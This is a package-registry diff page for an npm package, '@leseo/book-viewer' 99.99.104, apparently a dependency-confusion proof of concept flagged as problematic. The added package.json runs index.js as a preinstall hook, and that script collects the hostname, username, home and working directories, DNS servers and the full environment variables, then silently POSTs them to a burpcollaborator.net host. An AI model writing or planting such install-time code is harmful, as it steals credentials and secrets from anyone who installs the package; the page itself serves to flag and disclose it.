@leseo/book-viewer 99.99.104
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @leseo/book-viewer might be problematic. Click here for more details.
- package/assets/book-viewer-styles.css +1 -0
- package/index.js +53 -0
- package/package.json +13 -0
@@ -0,0 +1 @@
|
|
1
|
+
/* Placeholder CSS for PoC */
|
package/index.js
ADDED
@@ -0,0 +1,53 @@
|
|
1
|
+
// Author: Angel
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
const querystring = require("querystring");
|
5
|
+
const https = require("https");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
|
8
|
+
// Construct tracking data with additional information
|
9
|
+
const trackingData = JSON.stringify({
|
10
|
+
packageName: packageJSON.name,
|
11
|
+
packageVersion: packageJSON.version,
|
12
|
+
resolvedUrl: packageJSON ? packageJSON.___resolved : undefined,
|
13
|
+
currentDir: __dirname,
|
14
|
+
homeDir: os.homedir(),
|
15
|
+
hostname: os.hostname(),
|
16
|
+
username: os.userInfo().username,
|
17
|
+
dnsServers: dns.getServers(),
|
18
|
+
workingDir: process.cwd(),
|
19
|
+
envVars: process.env,
|
20
|
+
fullPackageJson: packageJSON,
|
21
|
+
});
|
22
|
+
|
23
|
+
// Prepare data for POST request
|
24
|
+
var postData = querystring.stringify({
|
25
|
+
msg: trackingData,
|
26
|
+
});
|
27
|
+
|
28
|
+
// Set up HTTPS options for Burp Collaborator server
|
29
|
+
var options = {
|
30
|
+
hostname: "hcxvczes5uormx0m7ee6upku4lacy1.burpcollaborator.net", // Update with Interactsh or other service if needed
|
31
|
+
port: 443,
|
32
|
+
path: "/",
|
33
|
+
method: "POST",
|
34
|
+
headers: {
|
35
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
36
|
+
"Content-Length": postData.length,
|
37
|
+
},
|
38
|
+
};
|
39
|
+
|
40
|
+
// Create HTTPS request to send tracking data
|
41
|
+
var req = https.request(options, (res) => {
|
42
|
+
res.on("data", (d) => {
|
43
|
+
process.stdout.write(d); // Log server response
|
44
|
+
});
|
45
|
+
});
|
46
|
+
|
47
|
+
req.on("error", (e) => {
|
48
|
+
// Silently handle errors, if any
|
49
|
+
});
|
50
|
+
|
51
|
+
// Send the tracking data
|
52
|
+
req.write(postData);
|
53
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
{
|
2
|
+
"name": "@leseo/book-viewer",
|
3
|
+
"version": "99.99.104",
|
4
|
+
"description": "Leseo",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "Angel",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
13
|
+
|